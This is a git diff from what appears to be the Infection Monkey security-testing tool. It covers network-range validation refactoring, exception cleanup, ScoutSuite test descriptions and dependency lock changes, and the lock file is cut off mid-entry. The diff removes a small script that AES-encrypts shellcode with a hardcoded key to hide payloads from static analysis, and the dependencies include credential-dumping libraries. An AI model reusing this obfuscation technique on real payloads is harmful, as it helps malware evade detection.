- STATUS_PASSED: "ScoutSuite found no issues related to users' authentication.", - }, - PRINCIPLE_KEY: PRINCIPLE_SECURE_AUTHENTICATION, - PILLARS_KEY: [PEOPLE, WORKLOADS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, - TEST_SCOUTSUITE_RESTRICTIVE_POLICIES: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for permissive user access " "policies.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found permissive user access policies.", - STATUS_PASSED: "ScoutSuite found no issues related to user access policies.", - }, - PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, - PILLARS_KEY: [PEOPLE, WORKLOADS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, - TEST_SCOUTSUITE_LOGGING: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for issues, related to logging.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found logging issues.", - STATUS_PASSED: "ScoutSuite found no logging issues.", - }, - PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, - PILLARS_KEY: [AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, - TEST_SCOUTSUITE_SERVICE_SECURITY: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for service security issues.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found service security issues.", - STATUS_PASSED: "ScoutSuite found no service security issues.", - }, - PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, - PILLARS_KEY: [DEVICES, NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, } EVENT_TYPE_MONKEY_NETWORK = "monkey_network" diff --git a/monkey/common/config_value_paths.py b/monkey/common/config_value_paths.py index db10fb9e1..c998f44fa 100644 --- a/monkey/common/config_value_paths.py +++ b/monkey/common/config_value_paths.py @@ -1,5 +1,4 @@ AWS_KEYS_PATH = ["internal", "monkey", "aws_keys"] -STARTED_ON_ISLAND_PATH = ["internal", "general", "started_on_island"] EXPORT_MONKEY_TELEMS_PATH = ["internal", "testing", "export_monkey_telems"] CURRENT_SERVER_PATH = ["internal", "island_server", "current_server"] SSH_KEYS_PATH = ["internal", "exploits", "exploit_ssh_keys"] diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 1ab37ba57..63c7feba5 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -4,10 +4,15 @@ import random import socket import struct from abc import ABCMeta, abstractmethod +from typing import List, Tuple logger = logging.getLogger(__name__) +class InvalidNetworkRangeError(Exception): + """Raise when invalid network range is provided""" + + class NetworkRange(object, metaclass=ABCMeta): def __init__(self, shuffle=True): self._shuffle = shuffle @@ -44,23 +49,50 @@ class NetworkRange(object, metaclass=ABCMeta): if not address_str: # Empty string return None address_str = address_str.strip() + if address_str.endswith("/32"): + address_str = address_str[:-3] if NetworkRange.check_if_range(address_str): return IpRange(ip_range=address_str) - if -1 != address_str.find("/"): + if "/" in address_str: return CidrRange(cidr_range=address_str) return SingleIpRange(ip_address=address_str) + @staticmethod + def filter_invalid_ranges(ranges: List[str], error_msg: str) -> List[str]: + valid_ranges = [] + for target_range in ranges: + try: + NetworkRange.validate_range(target_range) + except InvalidNetworkRangeError as e: + logger.error(f"{error_msg} {e}") + continue + valid_ranges.append(target_range) + return valid_ranges + + @staticmethod + def validate_range(address_str: str): + try: + NetworkRange.get_range_obj(address_str) + except (ValueError, OSError) as e: + raise InvalidNetworkRangeError(e) + @staticmethod def check_if_range(address_str): if -1 != address_str.find("-"): - ips = address_str.split("-") try: - ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1]) + NetworkRange._range_to_ips(address_str) except ValueError: return False return True return False + @staticmethod + def _range_to_ips(ip_range: str) -> Tuple[str, str]: + ips = ip_range.split("-") + ips = [ip.strip() for ip in ips] + ips = sorted(ips, key=lambda ip: socket.inet_aton(ip)) + return ips[0], ips[1] + @staticmethod def _ip_to_number(address): return struct.unpack(">L", socket.inet_aton(address))[0] @@ -94,12 +126,7 @@ class IpRange(NetworkRange): def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True): super(IpRange, self).__init__(shuffle=shuffle) if ip_range is not None: - addresses = ip_range.split("-") - if len(addresses) != 2: - raise ValueError( - "Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20" % ip_range - ) - self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses] + self._lower_end_ip, self._higher_end_ip = IpRange._range_to_ips(ip_range) elif (lower_end_ip is not None) and (higher_end_ip is not None): self._lower_end_ip = lower_end_ip.strip() self._higher_end_ip = higher_end_ip.strip() @@ -163,7 +190,10 @@ class SingleIpRange(NetworkRange): :return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com) """ # The most common use case is to enter ip/range into "Scan IP/subnet list" - domain_name = "" + domain_name = None + + if " " in string_: + raise ValueError(f'"{string_}" is not a valid IP address or domain name.') # Try casting user's input as IP try: @@ -174,10 +204,9 @@ class SingleIpRange(NetworkRange): ip = socket.gethostbyname(string_) domain_name = string_ except socket.error: - logger.error( + raise ValueError( "Your specified host: {} is not found as a domain name and" " it's not an IP address".format(string_) ) - return None, string_ # If a string_ was entered instead of IP we presume that it was domain name and translate it return ip, domain_name diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index 2b01d1974..f686268e0 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -1,22 +1,9 @@ -import re -from urllib.parse import urlparse +from typing import Optional, Tuple -def get_host_from_network_location(network_location: str) -> str: - """ - URL structure is ":///;?#" ( - https://tools.ietf.org/html/rfc1808.html) - And the net_loc is ":@:" ( - https://tools.ietf.org/html/rfc1738#section-3.1) - :param network_location: server network location - :return: host part of the network location - """ - url = urlparse("http://" + network_location) - return str(url.hostname) - - -def remove_port(url): - parsed = urlparse(url) - with_port = f"{parsed.scheme}://{parsed.netloc}" - without_port = re.sub(":[0-9]+(?=$|/)", "", with_port) - return without_port +def address_to_ip_port(address: str) -> Tuple[str, Optional[str]]: + if ":" in address: + ip, port = address.split(":") + return ip, port or None + else: + return address, None diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py index d9ad573b1..bb77f9f61 100644 --- a/monkey/common/utils/code_utils.py +++ b/monkey/common/utils/code_utils.py @@ -1,6 +1,5 @@ # abstract, static method decorator # noinspection PyPep8Naming -from typing import List class abstractstatic(staticmethod): @@ -11,10 +10,3 @@ class abstractstatic(staticmethod): function.__isabstractmethod__ = True __isabstractmethod__ = True - - -def get_value_from_dict(dict_data: dict, path: List[str]): - current_data = dict_data - for key in path: - current_data = current_data[key] - return current_data diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index cc70cbc51..5935145e7 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -1,58 +1,42 @@ -class ExploitingVulnerableMachineError(Exception): - """ Raise when exploiter failed, but machine is vulnerable """ - - class FailedExploitationError(Exception): - """ Raise when exploiter fails instead of returning False """ + """Raise when exploiter fails instead of returning False""" class InvalidRegistrationCredentialsError(Exception): - """ Raise when server config file changed and island needs to restart """ + """Raise when server config file changed and island needs to restart""" class AlreadyRegisteredError(Exception): - """ Raise to indicate the reason why registration is not required """ + """Raise to indicate the reason why registration is not required""" class UnknownUserError(Exception): - """ Raise to indicate that authentication failed """ + """Raise to indicate that authentication failed""" class IncorrectCredentialsError(Exception): - """ Raise to indicate that authentication failed """ - - -class RulePathCreatorNotFound(Exception): - """ Raise to indicate that ScoutSuite rule doesn't have a path creator""" - - -class InvalidAWSKeys(Exception): - """ Raise to indicate that AWS API keys are invalid""" + """Raise to indicate that authentication failed""" class NoInternetError(Exception): - """ Raise to indicate problems caused when no internet connection is present""" - - -class ScoutSuiteScanError(Exception): - """ Raise to indicate problems ScoutSuite encountered during scanning""" + """Raise to indicate problems caused when no internet connection is present""" class UnknownFindingError(Exception): - """ Raise when provided finding is of unknown type""" + """Raise when provided finding is of unknown type""" class VersionServerConnectionError(Exception): - """ Raise to indicate that connection to version update server failed """ + """Raise to indicate that connection to version update server failed""" class FindingWithoutDetailsError(Exception): - """ Raise when pulling events for a finding, but get none """ + """Raise when pulling events for a finding, but get none""" class DomainControllerNameFetchError(FailedExploitationError): - """ Raise on failed attempt to extract domain controller's name """ + """Raise on failed attempt to extract domain controller's name""" class InvalidConfigurationError(Exception): - """ Raise when configuration is invalid """ + """Raise when configuration is invalid""" diff --git a/monkey/common/utils/exploit_enum.py b/monkey/common/utils/exploit_enum.py deleted file mode 100644 index daac36e1b..000000000 --- a/monkey/common/utils/exploit_enum.py +++ /dev/null @@ -1,6 +0,0 @@ -from enum import Enum - - -class ExploitType(Enum): - VULNERABILITY = 1 - BRUTE_FORCE = 9 diff --git a/monkey/common/utils/shellcode_obfuscator.py b/monkey/common/utils/shellcode_obfuscator.py deleted file mode 100644 index 11635201e..000000000 --- a/monkey/common/utils/shellcode_obfuscator.py +++ /dev/null @@ -1,30 +0,0 @@ -# This code is used to obfuscate shellcode -# Usage: -# shellcode_obfuscator.py [your normal shellcode]. - -import sys - -# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports -from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 - -# We only encrypt payloads to hide them from static analysis -# it's OK to have these keys plaintext -KEY = b"1234567890123456" -NONCE = b"\x93n2\xbc\xf5\x8d:\xc2fP\xabn\x02\xb3\x17f" - - -# Use this manually to get obfuscated bytes of shellcode -def obfuscate(shellcode: bytes) -> bytes: - cipher = AES.new(KEY, AES.MODE_EAX, nonce=NONCE) - ciphertext, _ = cipher.encrypt_and_digest(shellcode) - return ciphertext - - -def clarify(shellcode: bytes) -> bytes: - cipher = AES.new(KEY, AES.MODE_EAX, nonce=NONCE) - plaintext = cipher.decrypt(shellcode) - return plaintext - - -if __name__ == "__main__": - print(obfuscate(sys.argv[1].encode())) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 50c6909c7..e5e53d39d 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -4,35 +4,29 @@ verify_ssl = true name = "pypi" [packages] -cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer versions of cryptography -pyinstaller = {git = "git://github.com/guardicore/pyinstaller"} -pyinstaller-hooks-contrib = "==2021.1" # Required to build docker with our pyinstaller branch +pyinstaller = "==4.9" impacket = ">=0.9" -importlib-metadata = "==4.0.1" # Required to build docker with our pyinstaller branch ipaddress = ">=1.0.23" netifaces = ">=0.10.9" odict = "==1.7.0" -paramiko = ">=2.7.1" psutil = ">=5.7.0" pymssql = "==2.1.5" -pypykatz = "==0.3.12" +pypykatz = "==0.5.2" requests = ">=2.24" urllib3 = "==1.26.5" WMI = {version = "==1.5.1", sys_platform = "== 'win32'"} -ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} -pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pypsrp = "*" typing-extensions = "*" # Allows us to use 3.9 typing features on 3.7 project -pycryptodome = "*" # Used in common/utils/shellcode_obfuscator.py -altgraph = "*" # Required for pyinstaller branch, without it agents fail to build pysmb = "*" "WinSys-3.x" = "*" ldaptor = "*" +pywin32-ctypes = {version = "*", sys_platform = "== 'win32'"} # Pyinstaller requirement on windows +pywin32 = {version = "*", sys_platform = "== 'win32'"} # Lock file is not created with sys_platform win32 requirement if not explicitly specified +pefile = {version = "*", sys_platform = "== 'win32'"} # Pyinstaller requirement on windows +paramiko = {editable = true, ref = "2.10.3.dev1", git = "https://github.com/VakarisZ/paramiko.git"} [dev-packages] ldap3 = "*" -pywin32-ctypes = {version = "*", sys_platform = "== 'win32'"} -pefile = {version = "*", sys_platform = "== 'win32'"} [requires] python_version = "3.7" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 67d723716..b9260355d 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "1495c89a3acf6a14a0ef9a00bf5660181b1c4bc4ff8e4f470f90cab3da424f70" + "sha256": "c1c28510b728242624129b39bd9ace9ba2629061bf64226cb43f1f857fc87212" }, "pipfile-spec": 6, "requires": { @@ -16,6 +16,14 @@ ] }, "default": { + "aiosmb": { + "hashes": [ + "sha256:0afa901093f0ad91d0b8421dec66c80bd2e9cb237a8da405984413a5d7475398", + "sha256:0e98390ba00fdc4190e698f184dfcf72b02b592cdfe9274e03cc7316ac4ee368" + ], + "markers": "python_version >= '3.7'", + "version": "==0.3.8" + }, "aiowinreg": { "hashes": [ "sha256:6cd7f64ef002a7c6d7c27310db578fbc8992eeaca0936ebc56283d70c54573f2", @@ -29,30 +37,22 @@ "sha256:743628f2ac6a7c26f5d9223c91ed8ecbba535f506f4b6f558885a8a56a105857", "sha256:ebf2269361b47d97b3b88e696439f6e4cbc607c17c51feb1754f90fb79839158" ], - "index": "pypi", "version": "==0.17.2" }, "asn1crypto": { "hashes": [ - "sha256:4bcdf33c861c7d40bdcd74d8e4dd7661aac320fcdf40b9a3f95b4ee12fde2fa8", - "sha256:f4f6e119474e58e04a2b1af817eb585b4fd72bdd89b998624712b5c99be7641c" + "sha256:13ae38502be632115abf8a24cbe5f4da52e3b5231990aff31123c805306ccb9c", + "sha256:db4e40728b728508912cbb3d44f19ce188f218e9eba635821bb4b68564f8fd67" ], - "version": "==1.4.0" - }, - "asyncio-throttle": { - "hashes": [ - "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" - ], - "markers": "python_version >= '3.5'", - "version": "==0.1.1" + "version": "==1.5.1" }, "asysocks": { "hashes": [ - "sha256:5ec0582252b0085d9337d13c6b03ab7fd062e487070667f9140e6972bd9db256", - "sha256:b97ac905cd4ca1e7a8e7c295f9cb22ced5dfd3f17e888e71cbf05a1d67a4d393" + "sha256:23d5fcfae71a75826c3ed787bd9b1bc3b189ec37658961bce83c9e99455e354c", + "sha256:731eda25d41783c5243153d3cb4f9357fef337c7317135488afab9ecd6b7f1a1" ], "markers": "python_version >= '3.6'", - "version": "==0.1.6" + "version": "==0.1.7" }, "attrs": { "hashes": [ @@ -85,22 +85,6 @@ "markers": "python_version >= '3.6'", "version": "==3.2.0" }, - "boto3": { - "hashes": [ - "sha256:26f18ca7411615f33d8d1bf60cc8efe5b331a57b3013d5f8f3587cd5350c27cb", - "sha256:4470f64e4af609ff678055338c96a6f7cbe601d1fb06a4ea7dc8d9223c2e527a" - ], - "markers": "python_version >= '3.6'", - "version": "==1.20.44" - }, - "botocore": { - "hashes": [ - "sha256:11483a493de4a76ef218d8cd3980c63550d006a0d082c10d53c0954184ca542a", - "sha256:8e5317f84fc1118bff58fa6fa79a9b62083e75a2a9c62feb3ea73694c550b99d" - ], - "markers": "python_version >= '3.6'", - "version": "==1.23.44" - }, "certifi": { "hashes": [ "sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872", @@ -173,59 +157,28 @@ }, "charset-normalizer": { "hashes": [ - "sha256:876d180e9d7432c5d1dfd4c5d26b72f099d503e8fcc0feb7532c9289be60fcbd", - "sha256:cb957888737fc0bbcd78e3df769addb41fd1ff8cf950dc9e7ad7793f1bf44455" + "sha256:2857e29ff0d34db842cd7ca3230549d1a697f96ee6d3fb071cfa6c7393832597", + "sha256:6881edbebdb17b39b4eaaa821b438bf6eddffb4468cf344f09f89def34a8b1df" ], "markers": "python_version >= '3'", - "version": "==2.0.10" - }, - "cheroot": { - "hashes": [ - "sha256:366adf6e7cac9555486c2d1be6297993022eff6f8c4655c1443268cca3f08e25", - "sha256:62cbced16f07e8aaf512673987cd6b1fc5ad00073345e9ed6c4e2a5cc2a3a22d" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==8.6.0" - }, - "cherrypy": { - "hashes": [ - "sha256:55659e6f012d374898d6d9d581e17cc1477b6a14710218e64f187b9227bea038", - "sha256:f33e87286e7b3e309e04e7225d8e49382d9d7773e6092241d7f613893c563495" - ], - "markers": "python_version >= '3.5'", - "version": "==18.6.1" - }, - "cherrypy-cors": { - "hashes": [ - "sha256:eb512e20fa9e478abd1868b1417814a4e9240ed0c403472a2c624460e49ab0d5", - "sha256:f7fb75f6e617ce29c9ec3fdd8b1ff6ec64fec2c56371182525e22bcf4c180513" - ], - "markers": "python_version >= '2.7'", - "version": "==1.6" + "version": "==2.0.12" }, "click": { "hashes": [ - "sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3", - "sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b" + "sha256:24e1a4a9ec5bf6299411369b208c1df2188d9eb8d916302fe6bf03faed227f1e", + "sha256:479707fe14d9ec9a0757618b7a100a0ae4c4e236fac5b7f80ca68028141a1a72" ], - "markers": "python_version >= '3.6'", - "version": "==8.0.3" + "markers": "python_version >= '3.7'", + "version": "==8.1.2" }, "colorama": { "hashes": [ "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" ], - "markers": "sys_platform == 'win32'", + "markers": "platform_system == 'Windows' and platform_system == 'Windows'", "version": "==0.4.4" }, - "coloredlogs": { - "hashes": [ - "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", - "sha256:b869a2dda3fa88154b9dd850e27828d8755bfab5a838a1c97fbc850c6e377c36" - ], - "version": "==10.0" - }, "constantly": { "hashes": [ "sha256:586372eb92059873e29eba4f9dec8381541b4d3834660707faf8ba59146dfc35", @@ -235,44 +188,45 @@ }, "cryptography": { "hashes": [ - "sha256:05b3ded5e88747d28ee3ef493f2b92cbb947c1e45cf98cfef22e6d38bb67d4af", - "sha256:06826e7f72d1770e186e9c90e76b4f84d90cdb917b47ff88d8dc59a7b10e2b1e", - "sha256:08b753df3672b7066e74376f42ce8fc4683e4fd1358d34c80f502e939ee944d2", - "sha256:2cd29bd1911782baaee890544c653bb03ec7d95ebeb144d714b0f5c33deb55c7", - "sha256:31e5637e9036d966824edaa91bf0aa39dc6f525a1c599f39fd5c50340264e079", - "sha256:42fad67d7072216a49e34f923d8cbda9edacbf6633b19a79655e88a1b4857063", - "sha256:4946b67235b9d2ea7d31307be9d5ad5959d6c4a8f98f900157b47abddf698401", - "sha256:522fdb2809603ee97a4d0ef2f8d617bc791eb483313ba307cb9c0a773e5e5695", - "sha256:6f841c7272645dd7c65b07b7108adfa8af0aaea57f27b7f59e01d41f75444c85", - "sha256:7d335e35306af5b9bc0560ca39f740dfc8def72749645e193dd35be11fb323b3", - "sha256:8504661ffe324837f5c4607347eeee4cf0fcad689163c6e9c8d3b18cf1f4a4ad", - "sha256:9260b201ce584d7825d900c88700aa0bd6b40d4ebac7b213857bd2babee9dbca", - "sha256:9a30384cc402eac099210ab9b8801b2ae21e591831253883decdb4513b77a3cd", - "sha256:9e29af877c29338f0cab5f049ccc8bd3ead289a557f144376c4fbc7d1b98914f", - "sha256:ab50da871bc109b2d9389259aac269dd1b7c7413ee02d06fe4e486ed26882159", - "sha256:b13c80b877e73bcb6f012813c6f4a9334fcf4b0e96681c5a15dac578f2eedfa0", - "sha256:bfe66b577a7118e05b04141f0f1ed0959552d45672aa7ecb3d91e319d846001e", - "sha256:e091bd424567efa4b9d94287a952597c05d22155a13716bf5f9f746b9dc906d3", - "sha256:fa2b38c8519c5a3aa6e2b4e1cf1a549b54acda6adb25397ff542068e73d1ed00" + "sha256:0a3bf09bb0b7a2c93ce7b98cb107e9170a90c51a0162a20af1c61c765b90e60b", + "sha256:1f64a62b3b75e4005df19d3b5235abd43fa6358d5516cfc43d87aeba8d08dd51", + "sha256:32db5cc49c73f39aac27574522cecd0a4bb7384e71198bc65a0d23f901e89bb7", + "sha256:4881d09298cd0b669bb15b9cfe6166f16fc1277b4ed0d04a22f3d6430cb30f1d", + "sha256:4e2dddd38a5ba733be6a025a1475a9f45e4e41139d1321f412c6b360b19070b6", + "sha256:53e0285b49fd0ab6e604f4c5d9c5ddd98de77018542e88366923f152dbeb3c29", + "sha256:70f8f4f7bb2ac9f340655cbac89d68c527af5bb4387522a8413e841e3e6628c9", + "sha256:7b2d54e787a884ffc6e187262823b6feb06c338084bbe80d45166a1cb1c6c5bf", + "sha256:7be666cc4599b415f320839e36367b273db8501127b38316f3b9f22f17a0b815", + "sha256:8241cac0aae90b82d6b5c443b853723bcc66963970c67e56e71a2609dc4b5eaf", + "sha256:82740818f2f240a5da8dfb8943b360e4f24022b093207160c77cadade47d7c85", + "sha256:8897b7b7ec077c819187a123174b645eb680c13df68354ed99f9b40a50898f77", + "sha256:c2c5250ff0d36fd58550252f54915776940e4e866f38f3a7866d92b32a654b86", + "sha256:ca9f686517ec2c4a4ce930207f75c00bf03d94e5063cbc00a1dc42531511b7eb", + "sha256:d2b3d199647468d410994dbeb8cec5816fb74feb9368aedf300af709ef507e3e", + "sha256:da73d095f8590ad437cd5e9faf6628a218aa7c387e1fdf67b888b47ba56a17f0", + "sha256:e167b6b710c7f7bc54e67ef593f8731e1f45aa35f8a8a7b72d6e42ec76afd4b3", + "sha256:ea634401ca02367c1567f012317502ef3437522e2fc44a3ea1844de028fa4b84", + "sha256:ec6597aa85ce03f3e507566b8bcdf9da2227ec86c4266bd5e6ab4d9e0cc8dab2", + "sha256:f64b232348ee82f13aac22856515ce0195837f6968aeaa94a3d0353ea2ec06a6" ], - "index": "pypi", - "version": "==2.5" + "markers": "python_version >= '3.6'", + "version": "==36.0.2" }, "dnspython": { "hashes": [ - "sha256:081649da27ced5e75709a1ee542136eaba9842a0fe4c03da4fb0a3d3ed1f3c44", - "sha256:e79351e032d0b606b98d38a4b0e6e2275b31a5b85c873e587cc11b73aca026d6" + "sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e", + "sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f" ], - "markers": "python_version >= '3.6' and python_version < '4.0'", - "version": "==2.2.0" + "markers": "python_version >= '3.6' and python_version < '4'", + "version": "==2.2.1" }, "flask": { "hashes": [ - "sha256:7b2fb8e934ddd50731893bdcdb00fc8c0315916f9fcd50d22c7cc1a95ab634e2", - "sha256:cb90f62f1d8e4dc4621f52106613488b5ba826b2e1e10a33eac92f723093ab6a" + "sha256:8a4cf32d904cf5621db9f0c9fbcd7efabf3003f22a04e4d0ce790c7137ec5264", + "sha256:a8c9bd3e558ec99646d177a9739c41df1ded0629480b4c8d2975412f3c9519c8" ], - "markers": "python_version >= '3.6'", - "version": "==2.0.2" + "markers": "python_version >= '3.7'", + "version": "==2.1.1" }, "future": { "hashes": [ @@ -281,20 +235,6 @@ "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==0.18.2" }, - "httpagentparser": { - "hashes": [ - "sha256:a190dfdc5e63b2f1c87729424b19cbc49263d6a1fb585a16ac1c9d9ce127a4bf" - ], - "version": "==1.9.2" - }, - "humanfriendly": { - "hashes": [ - "sha256:1697e1a8a8f550fd43c2865cd84542fc175a61dcb779b6fee18cf6b6ccba1477", - "sha256:6b0b831ce8f15f7300721aa49829fc4e83921a9a301cc7f606be6686a2288ddc" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==10.0" - }, "hyperlink": { "hashes": [ "sha256:427af957daa58bc909471c6c40f74c5450fa123dd093fc53efd2e91d2705a56b", @@ -319,19 +259,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:8c501196e49fb9df5df43833bdb1e4328f64847763ec8a50703148b73784d581", - "sha256:d7eb1dea6d6a6086f8be21784cc9e3bcfa55872b52309bc5fad53a8ea444465d" + "sha256:1208431ca90a8cca1a6b8af391bb53c1a2db74e5d1cef6ddced95d4b2062edc6", + "sha256:ea4c597ebf37142f827b8f39299579e31685c31d3a438b59f469406afd0f2539" ], - "index": "pypi", - "version": "==4.0.1" - }, - "importlib-resources": { - "hashes": [ - "sha256:33a95faed5fc19b4bc16b29a6eeae248a3fe69dd55d4d229d2b480e23eeaad45", - "sha256:d756e2f85dd4de2ba89be0b21dba2a3bbec2e871a42a3a16719258a11f87506b" - ], - "markers": "python_version < '3.9'", - "version": "==5.4.0" + "markers": "python_version < '3.10'", + "version": "==4.11.3" }, "incremental": { "hashes": [ @@ -350,67 +282,19 @@ }, "itsdangerous": { "hashes": [ - "sha256:5174094b9637652bdb841a3029700391451bd092ba3db90600dea710ba28e97c", - "sha256:9e724d68fc22902a1435351f84c3fb8623f303fffcc566a4cb952df8c572cff0" - ], - "markers": "python_version >= '3.6'", - "version": "==2.0.1" - }, - "jaraco.classes": { - "hashes": [ - "sha256:22ac35313cf4b145bf7b217cc51be2d98a3d2db1c8558a30ca259d9f0b9c0b7d", - "sha256:ed54b728af1937dc16b7236fbaf34ba561ba1ace572b03fffa5486ed363ecf34" - ], - "markers": "python_version >= '3.6'", - "version": "==3.2.1" - }, - "jaraco.collections": { - "hashes": [ - "sha256:b04f00bd4b3c4fc4ba5fe1baf8042c0efd192b13e386830ea23fff77bb69dc88", - "sha256:ef7c308d6d7cadfb16b32c7e414d628151ab02b57a5702b9d9a293148c035e70" + "sha256:2c2349112351b88699d8d4b6b075022c0808887cb7ad10069318a8b0bc88db44", + "sha256:5dbbc68b317e5e42f327f9021763545dc3fc3bfe22e6deb96aaf1fc38874156a" ], "markers": "python_version >= '3.7'", - "version": "==3.5.1" - }, - "jaraco.context": { - "hashes": [ - "sha256:17b909da2fb37ad237ca7ff9523977f8665a47a25b90aec6a99a3e0959c86141", - "sha256:f0d4d82ffbbbff680384eba48a32a3167f12a91a30a7db56fd97b87e73a87241" - ], - "markers": "python_version >= '3.6'", - "version": "==4.1.1" - }, - "jaraco.functools": { - "hashes": [ - "sha256:141f95c490a18eb8aab86caf7a2728f02f604988a26dc36652e3d9fa9e4c49fa", - "sha256:31e0e93d1027592b7b0bec6ad468db850338981ebee76ba5e212e235f4c7dda0" - ], - "markers": "python_version >= '3.7'", - "version": "==3.5.0" - }, - "jaraco.text": { - "hashes": [ - "sha256:17b43aa0bd46e97c368ccd8a4c8fef2719ca121b6d39ce4be9d9e0143832479a", - "sha256:a7f9cc1b44a5f3096a216cbd130b650c7a6b2c9f8005b000ae97f329239a7c00" - ], - "markers": "python_version >= '3.6'", - "version": "==3.7.0" + "version": "==2.1.2" }, "jinja2": { "hashes": [ - "sha256:077ce6014f7b40d03b47d1f1ca4b0fc8328a692bd284016f806ed0eaca390ad8", - "sha256:611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7" + "sha256:539835f51a74a69f41b848a9645dbdc35b4f20a3b601e2d9a7e22947b15ff119", + "sha256:640bed4bb501cbd17194b3cace1dc2126f5b619cf068a726b98192a0fde74ae9" ], - "markers": "python_version >= '3.6'", - "version": "==3.0.3" - }, - "jmespath": { - "hashes": [ - "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9", - "sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f" - ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==0.10.0" + "markers": "python_version >= '3.7'", + "version": "==3.1.1" }, "ldap3": { "hashes": [ @@ -440,78 +324,49 @@ }, "markupsafe": { "hashes": [ - "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298", - "sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64", - "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b", - "sha256:04635854b943835a6ea959e948d19dcd311762c5c0c6e1f0e16ee57022669194", - "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567", - "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff", - "sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724", - "sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74", - "sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646", - "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35", - "sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6", - "sha256:20dca64a3ef2d6e4d5d615a3fd418ad3bde77a47ec8a23d984a12b5b4c74491a", - "sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6", - "sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad", - "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26", - "sha256:36bc903cbb393720fad60fc28c10de6acf10dc6cc883f3e24ee4012371399a38", - "sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac", - 